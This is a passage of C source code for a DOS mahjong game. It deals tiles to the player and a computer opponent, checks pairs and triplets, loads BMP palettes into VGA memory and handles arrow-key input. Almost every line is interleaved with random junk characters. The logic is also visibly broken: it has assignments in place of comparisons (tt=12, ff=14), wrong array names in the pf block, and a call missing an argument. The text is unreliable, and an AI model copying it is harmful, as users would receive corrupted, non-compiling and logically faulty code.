. ^  x( S; _' _; I) H2 disthree(test,tt-2); 7 ~6 Y3 G, f  z$ s
}3 v' Q2 i. G/ q" i# t
}
. H- p7 I- a% V- j( selse if(tt==9)
) \3 O4 D$ {& y9 J" b, I1 y+ zisthree(pt,tt);" b7 V+ u/ I1 f; j
else if(tt==11)
, p4 V3 W9 F, i# ]for(i=0;i&lt;10;i++)
$ N1 i8 {3 [( r4 @5 j" z( `* A{
7 C, ~8 ~  @" v/ m6 Tfor(j=0;j&lt;2;j++)3 x) Y9 T+ _$ a% R; y7 a. F
{test[j]=pt[i+j];
/ P7 _1 }- J6 v}. X' Q% W" B# u2 ?
if(istwo(test))
8 z# l9 b. v9 S# t/ l  T( {! j0 j{ ill=0;0 s$ q2 X) C2 c2 v: j1 K' n
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// a1 c" o: |% E( s% N, Q9 p
{if(kl==i)
$ G; Y! p7 Z  b* D( ^) B{
  C7 p1 m+ P2 m7 Wkl=kl+2;" x1 f' v) H& a8 K' J
if(kl==11)1 F5 A1 R9 {5 E9 @6 ~
break;
* q; P# o6 ^* J2 U}! X( J: O! H* o" r
test[ill++]=pt[kl];7 t0 k, ?6 c* J5 I( l) k3 b% J
}
6 [9 V" I9 S% F. a& L' Listhree(test,tt-2); 4 `2 q: P0 W; q$ Y8 y9 d
}
! v# L/ q+ t1 d0 a1 d7 E. U}
0 u+ _2 C) g( _6 nelse if(tt=12)
3 q" p/ {2 M, ?; k, b4 P8 O  disthree(pt,tt);: q: W4 w; ~. f7 X8 ~
else if(tt=14)
, b1 o( d& F4 v2 [for(i=0;i&lt;13;i++)% n% e3 Y  }; F
{0 f9 b5 H; _' y; v+ E) r
for(j=0;j&lt;2;j++)
# d9 p4 a- J+ |  s( `; \  J2 @{test[j]=pt[i+j];
/ e; ]$ Q) e/ x}
: K0 y) _% U3 y# ?8 U, \if(istwo(test))9 s( p! {' ?  a
{ ill=0;
( \: v, s6 W2 t: Xfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/8 u7 a! C% {& U& Q
{if(kl==i)8 O; n% D0 W. P4 U' K
{
3 _/ U* s8 e0 y) q( h. R; x4 tkl=kl+2;
# B$ L$ P+ L* Q2 g5 P0 W) g% c3 r# qif(kl==14)1 I( y% O2 b* H" y. |, J
break;+ x% y  V" h7 I8 h
}
: C; u  B. h; V* U3 K% ~test[ill++]=pt[kl];2 Z* Z; T9 Q$ A7 k7 @8 i; Z4 ?" F
}+ b# u) ~4 U7 c
isthree(test,tt-2); 7 J$ i- I7 f$ O
}( b1 m2 v* m" |" Y+ E* F5 K
}2 i4 m9 G7 r5 O6 q: r' S. M* W
if(ii==2)
' D3 O) s  I7 L( G) q; k2 Ristwo(pi);
& M- ~0 B% U, F5 q" telse if(ii==3)4 {+ b$ J9 P# s
isthree(pi,ii);% v' w0 O/ Y4 }
else if(ii==5)
, ]4 V. ~8 T6 ~( x/*pi[5]原始牌数组,假设已经升序排列*/
( R- i" y! r" D& _/*test[3]用来放置测试牌的数组*/
3 G# I$ z& H/ Ffor(i=0;i&lt;4;i++)3 m& g8 ?7 W5 v, R3 \) u5 W8 I- P. C
{
1 g! c, e3 t. i$ A5 Kfor(j=0;j&lt;2;j++). G+ H) L( w. d; S) L8 l$ X
{test[j]=pi[i+j];
" R. }% {: o8 B- K! C}( {7 I9 b/ x9 w. l& m% o
if(istwo(test))
' Z, c6 F' X) s# A4 J$ ]{ ill=0;: n9 j- v$ d0 v. D) X3 Y$ K: e
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/9 s6 A, ?6 p: k# r- l8 S
{if(kl==i)- ]" Z1 I5 d$ |' w
{! K9 V% t5 n4 ?2 N9 {
kl=kl+2;5 a; C) s9 h+ o- ?! K8 o9 V
if(kl==5)
9 W' C0 R1 d  a2 a5 m1 ~( N! G& ]break;
# `$ L6 i2 E+ M}0 U7 A% k0 h1 f2 Y( I- i# S
test[ill++]=pw[kl];
6 x3 o, D# V9 B  j}  n+ S) X6 z" y# H! t5 `- H
isthree(test);; L. o# B+ X$ u" F3 Y: k
}6 s. d) p5 t9 b$ {
}* P9 ~2 Z' ?3 r5 c2 o
else if(ii==6), V3 v4 C5 G& a' N. n
isthree(pi,ii);
7 \( X* c3 _, \3 g3 O1 Aelse if(ii==8). ]8 g! ~5 D+ a, s6 q* h
for(i=0;i&lt;7;i++)
; c$ b9 A" p% e8 i. X6 f- _9 w{
7 y# y7 k# W+ _# {+ U( F( [for(j=0;j&lt;2;j++)* `# k2 s0 Y3 i$ c
{test[j]=pi[i+j];
2 L( l: i7 i9 d5 k$ V/ C}) q9 k, q' S9 ]! B
if(istwo(test))/ O2 a& A+ f, q# d
{ ill=0;
( N4 N2 t+ f' A9 Wfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/+ G# Z! Q* W. n0 M
{if(kl==i)/ u- L- n9 T4 p0 T3 c7 \( @
{
6 U: O; X' U, `$ }( kkl=kl+2;4 l: s; A2 T- O3 h
if(kl==8)
8 d; {' g6 Q2 S' F5 f2 J$ H' i3 Ybreak;, O2 a" `2 T* x" ~+ Z) d
}, X9 M# Y6 V# R8 m6 x* E- o
test[ill++]=pi[kl];
' {7 Q6 ?% G. G" f7 D) W}
& r3 J4 ~2 T( A: gisthree(test,ii-2);! J. c/ T& G, I( i& _) z  @
}
2 w4 S3 P; H0 |* m1 y}
9 g! H" }4 X6 G6 M! V: |" @! ^8 {else if(ii==9)8 K4 G+ r8 g; ~% [
isthree(pi,ii);
# \' A1 S; |% v! C6 h- ]else if(ii==11)
5 P0 w8 [6 y# p* J9 \for(i=0;i&lt;10;i++)' k- \; J, @& W$ f9 g. L
{1 c" P4 P, l/ p5 j
for(j=0;j&lt;2;j++)6 z. s6 M) x$ I' `: L  v) |. D& B  Y
{test[j]=pi[i+j];
% N6 ^" o' g% F8 `! C# E- Z1 s}
6 ^7 p( m0 k) ^6 Cif(istwo(test))( s: L' z( W5 f1 l, \2 V; r8 R
{ ill=0;! w$ f/ ^1 D' V% d* y) o  T# b
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/! u3 q' A7 e% b6 H5 v; p' Q; f
{if(kl==i)
: R4 N( J: |) i" L3 Z{7 f) S: L! Y- P! ^/ V: A" v* A3 O
kl=kl+2;/ K9 c( b. h9 K: Z5 o" D
if(kl==11)4 Q- T* r- P" I( t9 k( M
break;
: Q! v- p  j- Y' U7 O}
0 w! e8 C$ n* \* h* jtest[ill++]=pi[kl];1 s( |! Y+ \1 `  q9 q  z
}
- Y1 F( H; |; e+ Eisthree(test,ii-2); ) y( N9 e4 F% G
}' i" O6 E: J7 i
} 7 _( t$ B" X' i; Z) z1 C: j
else if(ii=12)
- N/ D$ a& t( \/ d  Y, S! m  F4 h# [isthree(pi,ii);- T# I5 F3 p5 Z: V3 a9 Q
else if(ii=14)
9 V, A- U% L0 hfor(i=0;i&lt;13;i++)3 m' G' T0 U' s% N
{
) w+ B5 q+ ~# D0 K5 m$ ]; W' k& Efor(j=0;j&lt;2;j++)% o/ F  C; a  e* E; _
{test[j]=pi[i+j];
3 P$ L; {2 l" P% n# ^$ p3 Y}
: ^* P' O  E3 H$ ^" Nif(istwo(test))) n% a) ]& u% c8 B; E
{ ill=0;5 K. M& g! U* ~( c+ M! B1 f
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  ~" n$ v; W. t{if(kl==i)+ L/ E% T. x9 M
{
! |4 S- P+ p' Xkl=kl+2;; c4 i+ g6 U& ]+ y+ ]& G5 F. \
if(kl==14)
* Y: r3 G6 p8 k! G! ?! O# _0 Ibreak;" M0 Z4 |; E4 ]; p3 B
}; T0 A1 [' i2 F4 X8 g1 n* |
test[ill++]=pi[kl];+ B# H+ j" z, b2 c
}
) T/ U  u: B) X3 P0 d) Z& qisthree(test,ii-2);
' ^& S2 m- Y2 P' V  A}
; [$ `4 Y/ E2 \0 w} # E) l1 w& N/ G5 H6 u6 _8 \9 o
if(ff==2)
- t- t( g! V- h: ?0 sistwo(pf);; g# A, c" h) R3 ]
else if(ff==3): t9 s9 h  j# Y9 c6 ]  z& w9 I
isthree(pf,ff);
. E6 U% _5 K4 ^/ @- \else if(ff==5)
2 w9 N; g% S) ~- x/*pf[5]原始牌数组,假设已经升序排列*/8 l6 U% r0 Y1 j8 s% s- u* \4 X
/*test[3]用来放置测试牌的数组*/
8 X7 L5 r4 `6 R1 X) }9 Hfor(i=0;i&lt;4;i++)! C" S% x, Q/ L4 _, Q: I
{% p% r5 k$ j$ [9 ~" C% l
for(j=0;j&lt;2;j++)% X( d. J; s3 V, T
{test[j]=pf[i+j]; $ Q: y- Y0 {1 s& c
}
6 r8 z) r0 Q1 f4 T* M- tif(istwo(test))
( y+ I) A' W  R  h+ `' N{ ill=0;
) D& y# B; ?" m9 T$ m) Nfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/, |. S" I+ o8 l  C
{if(kl==i)
6 q8 T5 S9 E# x{
1 D& Z2 o( K1 D" Z! r0 u: G$ Bkl=kl+2;: u4 ?  z: p5 h* d. J, T- W+ M2 ?) s
if(kl==5)
; B% J8 O$ V& v8 ^7 dbreak;" ?. s8 G( R( o+ n; R
}
9 d6 E& c! B9 Q& Qtest[ill++]=pf[kl];
. Q6 U- K% y1 N& h  d}, t# W6 R& k: Y$ Z
isthree(test);
* {% o0 }; s9 T}$ z. N- Q% T: H, Z; ^1 @
}
" M) \2 u" |" Zelse if(ff==6)! `' i- P, w2 B3 e5 `( T5 J
isthree(pf,ff);
( V. J6 {  r. Y) E& o% X  f8 xelse if(ff==8)' T+ K- r8 w. b' N; [
for(i=0;i&lt;7;i++)
% [+ ~2 z3 N: m1 r1 B; N3 {2 N7 ^+ s{
6 J: k. f% y6 zfor(j=0;j&lt;2;j++)( H: ~+ C+ f* V& G3 J- t
{test[j]=pf[i+j]; 1 T$ o0 i, l6 R2 I7 h4 v' T9 P
}. Z! n9 S% e! c8 |- c
if(istwo(test))
( K  k0 u- ?2 n$ O# H. A{ ill=0;
( U2 l0 G- z3 P1 v2 u3 t6 B" N8 Lfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/- v" ^1 L$ ?5 y  P- ~
{if(kl==i)
: }4 B- Z% n2 m9 Z* f{8 b/ M  j* z$ c8 O' T
kl=kl+2;% |# r3 k' F, Q" k8 Z9 _& r2 f- |/ q
if(kl==8)
  r( J) R' @8 Y& sbreak;+ d5 C9 t: ?& {+ K9 [
}
5 W  _" I1 Y2 X5 {' L' |+ a# o' Ntest[ill++]=pf[kl];
7 R+ n! N. j! P3 s& R& U( Y}
! U/ s) N6 b6 z! u7 E# Oisthree(test,ff-2);
0 ^3 H- K( J7 ?3 m' c, i4 c( d}
. _3 B, u- |: p- ?}
( M  c7 s/ j. E* b7 uelse if(ff==9)2 B4 ^5 r8 f4 l
isthree(pw,ww);! `' Q" T8 H* P: o% Z; N
else if(ff==11)
8 N+ m6 z9 x& ~+ |: lfor(i=0;i&lt;10;i++)& {$ b3 S9 G8 H8 Z  J" e
{& @1 C) N5 m! j4 N# H
for(j=0;j&lt;2;j++)' H) W3 N7 f/ p1 V; i# S
{test[j]=pf[i+j]; " w+ N/ N2 Q: U* J1 O' G
}4 d" F3 E! M/ |& {4 o; B9 f
if(istwo(test))
5 C5 U# O6 R: ^$ i- ~0 U+ V{ ill=0;
3 D! s" [9 c5 e$ P3 h4 vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
- I7 s2 N2 j+ o2 Q  d{if(kl==i)
& k3 U; c+ s  R0 E: q4 g. R{2 ~9 y3 A" F' {5 }% \# U; K6 H
kl=kl+2;
% Z5 a6 t7 S1 A/ vif(kl==11)( ]# S8 L+ ~  o7 o
break;
) ]8 i4 u: x/ F6 I" x2 ?}% k7 h: A/ v" `, ~9 Q9 i2 z7 B5 v
test[ill++]=pf[kl];: j! W! g# T, l% I8 R
}
% M; ]0 J. M1 iisthree(test,ff-2);
, O$ b8 V( U6 R4 S# I}& D# t% j( ~/ Y4 S  j
}
" d/ d' Y/ q7 ^+ P! A) V9 S- T) V. Welse if(ff=12)
/ l+ B( H2 u3 j" ^& visthree(pf,ff);
0 e6 v# Z, s. S$ felse if(ff=14)
0 n+ d' ]6 l2 h$ E& d) ]7 {for(i=0;i&lt;13;i++)1 E$ ]* i5 G8 j/ W0 d6 V
{( @* s) k% B: E
for(j=0;j&lt;2;j++)
& \6 ?2 w+ }' E{test[j]=pf[i+j]; # p( W# L" h( o1 z9 j
}
- d4 k- H' L6 R0 Q% v. I- ^% }if(istwo(test))5 v$ P) Q9 Y2 S" M+ D
{ ill=0;% s" y5 J/ }7 c5 V& X
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 \2 s7 \7 s1 y4 K{if(kl==i)
* c& b5 J  ^( U! O{  \! z( w5 w( c! G
kl=kl+2;
$ C' J* F1 R" D' |7 @if(kl==14)
8 B5 }  c7 \, J1 j! D4 ebreak;
: J7 _3 F, }/ P) g}! [4 M. R9 C0 m: C: W3 ]% w
test[ill++]=pf[kl];% `1 ~* R- ?7 h+ k6 v. g
}
. f# u) h# b! D  pisthree(test,ff-2);
1 R; K+ m; h9 B6 Y; v}- q( i0 ]" M" n- z2 O
}
2 o2 x, g% e; @2 W* z" h2 `}# n( j; d+ J! B' Z  e& t* [
void main(void)5 U' I3 k: Y2 \' Z* H
{
6 N1 l/ E# A1 o4 Y, g& o$ m; U, }FILE *bmp;# w: H' \1 Y6 M6 F) d
static char *name[2]={"ff.bmp","logo.bmp"};& Q1 z8 x, ?" o: {' [# o
char *p;( J2 b: i$ t0 o6 e. \
int *lingshi;* k+ \# N: N% [7 l
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
) t' g$ U% A* F$ m5 p. Z# {int every=0,w=0,x1,x2,y1,y2,every1=0;
, Q) b* W! X6 v% K. w$ e( j+ dint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
" |; w3 ?( x- Y: F4 X& wBYTE palette[256][3];
/ B; L% e" i6 i" {5 ISETVGA;
9 D5 }; W0 @6 w. w1 Bgetch();+ i' E8 ~; G: _; @. {6 _
while(t--)3 q( C2 G, E: H' s8 L
{; q4 P: Q3 r% ~% c$ _( w
bmp=fopen(name[t],"rb");
5 C" M- f; q6 p+ Z5 ^+ m' Qfseek(bmp,54,SEEK_SET);$ i) N) K. a( @! t3 U% p
for(i=0;i&lt;256;i++)
0 R) w' l6 q8 x$ u{
% M- e! f8 ~' x- ?palette[2]=fgetc(bmp)&gt;&gt;2;
1 U% O6 W9 G2 P% |palette[1]=fgetc(bmp)&gt;&gt;2;' L: r& O1 w( h7 ]% r3 d. O6 [
palette[0]=fgetc(bmp)&gt;&gt;2;
- |1 b. [8 }' q: a! ufgetc(bmp);
" ^. ~  H: N" a; ySet_Palette(i,palette[0],palette[1],palette[2]);
. c" @5 [$ `$ F' z) a4 m}
  P4 U0 n! @2 z9 Gfor (y=0;y&lt;200;y++)
3 F( c' ?; V0 C+ X& Cfor(x=0;x&lt;320;x++)
6 `+ N$ j  F& e" Epokeb(0xa000,y*320+x,fgetc(bmp));
8 \- W9 h9 X5 j, Q% T+ pfclose(bmp);0 n/ s/ i- I7 Q' C: g
getch();
4 {# i. q" k3 f2 I3 D' S}+ d* B5 v0 }$ ?8 u9 A# Q
getch();
* j* j$ ~; t; P8 e/ q+ [1 o  CfillRectangle(0,0,320,200,0);) X& _9 V. S8 ~$ w. r6 n, C
getch();
; I! R9 i: c9 f2 H7 y+ Yrandomize();
' \- V: i& _9 g" `8 jme.m=onetothirteen;
) u+ A' w# I; I# Z  F) M1 Jwhile(me.m&gt;0) /*先循环,给自己拿牌*/8 {. u+ a; P8 o
{9 Q4 ]' D0 u4 E1 s1 p( U
+ l5 R; }; M; u& H/ e8 a% D
temp=random(136);
- ?6 m/ \$ `) O5 s5 C% N5 ^9 F7 n/ e/ rif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
+ ~& M' l1 e! ], {! w* Z{5 Y0 Z  j; q& Q; r/ u: \# Z9 g
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
' H9 p& N" d$ w1 C8 ]  sme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/4 l6 R$ w4 R) ]( c$ @+ j+ K$ a5 {
me.pp[n].number=temp; /*第几张,用来排序*/  B( o$ Y, l0 l4 ^5 G3 B/ o) c- n# M
m[temp].data2=1; /*判断牌是谁的*/
2 e# ]9 h8 l5 C  L  M, N& `kk=1;
: J! ?) W+ _" ?2 F7 Q2 l}5 G: g$ k# f# c9 z
if(kk==0) /*判断如果又选择了,就从新再选*/
% G$ d) b$ M; f) t$ C{
: v- a2 ~* ^1 Q' a7 K: I- Ume.m++;1 X- D, H# @; E8 ]" t
n--;
, C: S9 H! ^' X( Q1 [}
- ~- p) j% z; s5 k6 sme.m--;6 U5 l  _0 a9 y' m$ ?
n++;
( ]; G1 N) s1 q* }kk=0;
8 q: D1 A* q3 W$ s% y}2 \0 E, \2 J- R4 _
me.m=12;
: ?- v7 Y4 S) m8 V, O) B4 Ymelipai(); /*理牌*/1 B- W+ u# ~( a

- z* W9 }: R4 e6 G8 Xn=13;
2 `& _9 k" k- ?: U' Hwhile(l&lt;n)- ^0 J+ z5 |; Z) p! n
{
7 t+ t! G; `) D  g+ Az=z+20;( J8 E* R# V/ d0 K: a. y) L
showbmp(l);* w3 ?$ |" A3 j
l++;8 l) `5 X" A* P4 Y" s

0 w) u  ?7 K5 E  y! G}
8 V: C5 P' ]% J4 T% Q7 H1 frandomize();
( d: q4 x2 |0 P! ycomputer.m=oneorthirteen;# c: H0 Q& w8 ]9 J4 @* \, Z+ @
n=0;( S& b& h, J' t
while(computer.m&gt;0) /*循环,给对方拿牌*/
' j# n1 P9 d+ Z+ z{, n0 h% G0 v4 q$ V! m$ q& {; E& r, J
temp=random(136);5 N: y. Q$ @: F4 L9 r" @
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
# ]+ b1 E8 S% A/ o  \{' U# e: D1 i- o. q- R
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/' B: \* d0 Y4 M5 C$ N
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
* H0 i; [  H' f8 T4 W8 I$ Kcomputer.pp[n].number=temp; /*第几张,用来排序*/: ?+ X' \+ Q$ K8 ~( u
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
  g! u% N2 G& G- r* Bkk=1;
# h+ S( U; ~  V- R- F, [# ^}; k2 {; P: Y$ P" l; R# p; C
if(kk==0) /*判断如果又选择了,就从新再选*/1 z4 \! _6 {" P- K
{
& x5 `& L6 f6 `( u, X& Icomputer.m++;
- B5 w" X" G/ |; N! D* W0 mn--;
' ^5 ^+ L4 f. b0 ], i: \}* n0 w0 G. W7 V$ D
computer.m--;$ N" G$ ?0 ~" s3 P; c
n++;8 I& t3 P# P8 V
kk=0;
+ ?2 A! O% s9 P1 ?2 R3 c}
  }$ |0 n0 F* k: ~) d$ ?5 o: K6 `computer.m=12;
) R; ?$ @7 N# `; ~comlipai(); /*电脑理牌*/
( J' N+ F. d  G: Fn=13;
- N% h) E7 Q3 e3 F8 @' P7 m4 dwhile(ll&lt;n)# w% E  T, P/ M$ f; @! o, R: O8 F
{. o! C% G6 p( {& W
zy=zy+20;1 j/ F4 l/ K6 G0 B
showybmp(ll);
% e9 b3 P$ L  T7 k7 o, T9 gll++;/ R  h4 Z: y+ Z' f) D  b) a+ ^- B9 O
}
. G5 W' N5 }$ e5 B. k+ M# H/ _& W+ b6 M% H
z=54400;
- ~9 V: p: k4 t. x& Q. K! R: z, ?7 Nwhile(key!=ESC)8 H" X; g* d! K; Y
{
! i# C) R+ K0 \( x3 D; K  l0 v5 V9 }0 p) d. t$ Q8 j9 a7 E$ b
keyy=bioskey(0);
+ p4 a8 |1 R" h# c9 `' rif(keyy==LEFT) ( P$ R, C  S8 ]
{ w=1;; x! e. S/ T3 z
if(every==0)
6 `$ b. p/ v# a! v{/ U; \# R" V6 z8 k0 z, I
every=1;
7 s: d( U+ n3 Z1 U0 y+ az=54440-5*320;
( _+ n3 J* G$ T2 U4 |! i+ r2 j1 `1 N1 Y$ W1 h( W
}6 @' D& P2 ^/ D9 Y% X% d" v
zz=zz+5*320;3 q. A" D+ \% c# ]% Q1 t+ X  b
showbmp(every);/ p: d6 J4 G5 ?% r! v2 P8 _* M
if(every==0)& ]$ M+ O, q0 I+ L; s5 I4 h
{
9 t! K2 L- D5 b. l! Fx1=20;
0 d2 A( A3 Q1 m5 _y1=165;
7 `, n5 _5 d/ b) gfillRectangle(x1,y1,x1+20,y1+4,0);
4 k0 O6 a$ f: ]* G  H}" Q9 P# a6 _. q! J
if(every==1)
  g* g: J2 U* E* L{
  D2 h) h4 b$ A8 \x1=40;3 H, h# S$ o9 l1 L0 M* i1 [
y1=165;
" Y/ ?. a: ?8 \. Z; [fillRectangle(x1,y1,x1+20,y1+4,0);! G" T5 J) [9 y- e, T
}! J: l& @+ [5 e7 l
if(every==2)$ @, ~4 q, g- N
{8 j  M4 K: o% ^8 M  T
x1=60;4 _2 R! n2 j$ I" ^% Z" @! w+ f
y1=165;
1 B! B0 u' R9 w  X2 V; P% yfillRectangle(x1,y1,x1+20,y1+4,0);7 u, q2 h' \& E: \0 j* C. J
}
6 G$ w+ l6 S* E- g* _) N0 Bif(every==3)
8 c. s; i* U) Q0 F4 g{. A& y9 w8 G; S# m! m9 D' l0 M
x1=80;8 G0 \& P4 K* V9 Z3 O8 d) q
y1=165;
# L' A8 k3 M# R7 ^2 sfillRectangle(x1,y1,x1+20,y1+4,0);
* F6 G9 q# `5 P) _. Z5 V+ P, a+ |}9 E0 B4 J7 H9 k9 R9 n. \
if(every==4)
% F& \6 x- a% z: ^& N; Y{7 j2 v; E( h* M3 v' y; M, O
x1=100;2 @+ i4 @8 _" d$ ]7 v
y1=165;
+ l) H' t6 b* @, r( C. x. {9 I4 wfillRectangle(x1,y1,x1+20,y1+4,0);
3 j2 M/ Z) }: s5 }. z% t( I) m}
# p( G, y  ]/ iif(every==5)3 D% E9 v7 J. Z
{
; D6 Y& ~+ L- Z$ y( dx1=120;/ ~6 u4 q7 K" V
y1=165;3 T" C! n$ T7 [5 E
fillRectangle(x1,y1,x1+20,y1+4,0);6 s* F, p7 A7 g7 q# @7 j
}
7 h9 O0 e( p- R" j8 Tif(every==6)
: x2 x$ \" d% L0 D% ~  n4 U5 i{! U( \6 W5 @  D, x  R3 _5 j: d: q- j
x1=140;6 ?0 {; Y0 c9 D- m9 a2 G- r" T  b
y1=165;" M% v( M7 H5 C
fillRectangle(x1,y1,x1+20,y1+4,0);
4 j' ~& [# D6 f* B}
! u, d& f4 q+ w7 \: _6 G0 u$ aif(every==7)4 `; a" ^+ I& Z% l) W$ Z
{# g6 p& X, |0 j- }5 I- i4 K" j
x1=160;' B5 Q2 b8 C3 g; U' @
y1=165;
# E! d' t9 U- `4 [" b9 afillRectangle(x1,y1,x1+20,y1+4,0);: @/ A6 t* w0 {- r& v4 d- [
}% h' k4 A# S( r7 ?3 r
if(every==8)
) g) u4 {5 v, h; z1 m{
4 l/ ]4 l- A( L: f6 W, X% Lx1=180;
& `; y. e5 I& t, p( }y1=165;7 I7 j  z6 p1 Y3 i2 p& T. ^9 V' h# C
fillRectangle(x1,y1,x1+20,y1+4,0);
- b$ s' _% ^0 ]! o}/ {' c( ^' n) ^; O' q+ ~
if(every==9)
# A" @# X: J. u1 P* j! j{" l2 j. v# B9 j5 }
x1=200;
. X( C7 H3 ?% e+ [' sy1=165;
& d' M4 x& p8 G) IfillRectangle(x1,y1,x1+20,y1+4,0);
# R3 H; u1 ]+ g) ?& ?5 N. U) I9 D+ b$ \}
0 y$ W" `- X% }4 ^' ^& _if(every==10)
8 s) q0 E5 C: I+ ?  @8 ~{
. J: A( L8 r( @x1=220;
. {+ v2 B! y$ }( I# By1=165;# p- r' Q1 T+ }; p# V" S& I
fillRectangle(x1,y1,x1+20,y1+4,0);/ i, e  v; ?, ^9 S
}
% U7 R$ u7 m1 R/ @7 L: \) uif(every==11)
5 B1 t2 y: g; \/ s/ {( [+ ]7 [{/ P) l3 {5 |0 U. |, p
x1=240;
/ q" k5 _; {" D; K6 w/ a% By1=165;1 _: J. e& [- ?# m
fillRectangle(x1,y1,x1+20,y1+4,0);
7 J" Z1 B/ E# a. b/ S0 M}& ~  w' f: `' q' r2 o
if(every==12)
# u" C. v9 u& F1 L5 z$ D{, B8 Z6 x9 K* e- r' q) M# ^# b
x1=260;
( r$ v4 K+ u9 u7 my1=165;
" O5 A% w& }! ^( r4 R+ q  }fillRectangle(x1,y1,x1+20,y1+4,0);
/ i( d1 ]5 G; Q/ {1 k8 k1 Z}
5 y* u6 e/ q7 c4 B7 b. `zz=0;* S0 g/ I6 _7 W* v4 p+ q$ ^
every--;' L7 }  A% X+ `
z=z-20;
7 C7 j6 v4 G7 d+ p2 d6 Z}
% |. x9 R; V# U3 q+ o* O4 v* Cif(keyy==RIGHT)
- |! X( P% o' |$ N- ?{ if(w==0)
' H" r# U0 {9 D0 a{
6 N" ]% n+ k) A+ }  }z=54440-5*320;) c1 }0 s, A$ k. H) h6 j& |: S
z=z-20;* n& t$ d. ~4 }) g
w=1;
5 H0 j: `; O" o  V) M4 M}/ K- P& |3 V0 Q1 w$ w) ^
if(every==12)
' t" R& E0 n0 t* x* t8 V" V9 e1 p{* u: m- M3 ?( k" K- n0 O$ x! ]2 @5 n
every=11;
" \$ l& D: h( M$ g, W/ @z=54640-5*320;
- |, @+ C" b0 D0 D/ G}
, [4 q' ^, V3 Q+ A2 F2 |2 D( }6 Izz=zz+5*320;. l7 C1 @3 ^7 B* p( q3 l
showbmp(every);
' A9 P5 a# t0 N7 c$ X# Lif(every==0)* c4 H/ U( B# D3 h
{2 N3 B: A2 p  _. d0 X, f
x1=20;& ?- M9 h" n, ^% E9 Z6 j6 I; N. f
y1=165;2 `6 H2 h  _! l" K" r: k
fillRectangle(x1,y1,x1+20,y1+4,0);
9 }' P6 v0 Y7 ~& U9 T% \}  y) T( y5 H$ R6 k, Y
if(every==1)
+ |/ ~2 ]7 Z+ x+ t{
- X4 U/ S' u# R3 z, r# v9 Ux1=40;7 m! ^) S, ~7 _3 H, d
y1=165;
$ w# L6 ]! ]1 B- x0 b5 w: v- YfillRectangle(x1,y1,x1+20,y1+4,0);
# x( \5 l' Y  S- z5 H}8 S2 C5 K$ c8 l% j! [
if(every==2)" m8 y) Y& q8 |- |
{! Y9 g' S( C6 S& D& }$ }2 n
x1=60;8 O4 f1 U) R8 @
y1=165;* V7 M; ~' w7 o% B5 U! ^$ @
fillRectangle(x1,y1,x1+20,y1+4,0);. i) S0 ?) j+ B2 R+ V
}) |5 d3 M5 s0 f2 l
if(every==3)
. s" }) M  F8 A{- |* W* q6 S8 `/ w
x1=80;
0 \/ V( E- C6 N8 @( oy1=165;' W' y4 [2 @9 U- B7 _0 K" q
fillRectangle(x1,y1,x1+20,y1+4,0);/ n4 }  i) K2 P/ q, K# ?
}* y, `; z& S2 d! B5 t' ^7 H  u; N( T7 ^
if(every==4)% h1 s  X" m. o5 U/ `! f
{
' y: G* |; A) P6 l' tx1=100;
$ o" g% Y, ]( ]y1=165;
+ G+ B( h3 |( ], @0 @" AfillRectangle(x1,y1,x1+20,y1+4,0);
5 l; u+ ~' W+ q6 ]; k! V}
- O. I: w1 ]3 m1 W# Fif(every==5)
" {0 {& \; M1 F{( k/ F# J% P& S' _9 {
x1=120;& S9 E. t( w6 z" i
y1=165;
8 S+ a0 N% l, ^% p7 x9 lfillRectangle(x1,y1,x1+20,y1+4,0);* h1 n9 ?. y0 C
}9 \  ^2 w: \1 v3 R
if(every==6)3 P3 `3 i/ c- [4 `. Z- h5 E" {- I
{4 f# v# v. D% X# x+ J
x1=140;3 t; v  K4 d2 p' d4 S% q
y1=165;
0 J% @3 {; G$ ?, t3 Q: ^fillRectangle(x1,y1,x1+20,y1+4,0);& t- ?5 j' s* |1 q* L- f
}
* E7 t1 |- s. E  G# ^& g5 Lif(every==7); B5 N4 h# z3 M3 T5 \# O
{$ `1 m, d' `' s  I9 ~$ e, S
x1=160;
9 M1 Y% c7 R' k1 Y& Dy1=165;" E$ T, ?; S* e2 v
fillRectangle(x1,y1,x1+20,y1+4,0);
/ u5 }' B: N3 q& W; H2 r}
. M% Q2 m5 z* l( Oif(every==8); a* b! |% m/ e1 F8 U$ S6 q
{$ Y/ A6 p) U( D3 D9 V# f
x1=180;
% _% g$ v3 h1 R- \! j9 Oy1=165;
& u( r& Y1 s) a2 D2 _fillRectangle(x1,y1,x1+20,y1+4,0);
1 A( `" |8 i) R) d}/ Q% G( [3 t0 y
if(every==9)
0 }# k" |3 `! ]* n0 Z{
! M# Q3 v6 r* H( M3 Sx1=200;$ R& d* Y7 @: ~) V
y1=165;7 S* f2 c4 ?' j( L
fillRectangle(x1,y1,x1+20,y1+4,0);
4 Q: u, o4 [+ ^8 Z! t}
; d7 J. }" v/ x+ a( Zif(every==10)
$ d* b1 G  U% h& ~7 A( t6 E{
5 n7 {2 M: o% c; F: j( O( ~6 J5 ix1=220;+ O  c' s. M/ e6 R" H$ r$ f
y1=165;1 U$ u+ i% w" [. |$ Y$ j4 u: b0 N
fillRectangle(x1,y1,x1+20,y1+4,0);
